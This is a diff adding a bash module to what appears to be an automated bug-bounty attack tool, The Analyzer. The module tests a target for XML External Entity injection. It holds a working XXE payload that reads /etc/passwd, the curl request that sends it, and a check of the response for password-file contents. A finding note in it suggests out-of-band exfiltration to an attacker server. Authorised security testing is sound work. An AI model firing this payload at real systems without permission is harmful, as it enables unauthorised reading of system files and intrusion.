The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/09-xxe.sh

@@ -0,0 +1,47 @@
+#!/usr/bin/env bash
+# Vector 09: XML External Entity (XXE)
+# Desc: XXE injection via XML upload/params
+# Detect: XML endpoints, SOAP APIs, RSS feeds
+# Severity: CRITICAL
+# Tools: curl
+
+vector_xxe() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  
+  print_info "Testing XXE vectors..."
+  
+  # Check if target accepts XML
+  local content_type=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^content-type:" | tr -d '\r')
+  
+  if echo "$content_type" | grep -qi "xml\|soap"; then
+    print_info "XML endpoint detected, testing XXE..."
+    
+    local xxe_payload='<?xml version="1.0"?>
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<root>&xxe;</root>'
+    
+    local response=$(curl -s --connect-timeout 5 --max-time 10 \
+      -X POST \
+      -H "Content-Type: application/xml" \
+      -d "$xxe_payload" \
+      "$target" 2>/dev/null)
+    
+    if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:"; then
+      print_find "XXE confirmed!" "File read via external entity"
+      echo "SEVERITY: CRITICAL
+VECTOR: XML External Entity (XXE)
+DETAIL: XXE confirmed on $target
+EVIDENCE: Internal file read via DTD entity
+EXPLOIT: Blind XXE: use OOB exfiltration to attacker server" > "$REPORTS_DIR/.finding_$(date +%s)_xxe.txt"
+      findings=$((findings + 1))
+    fi
+  else
+    print_skip "No XML endpoint detected"
+  fi
+  
+  return $findings
+}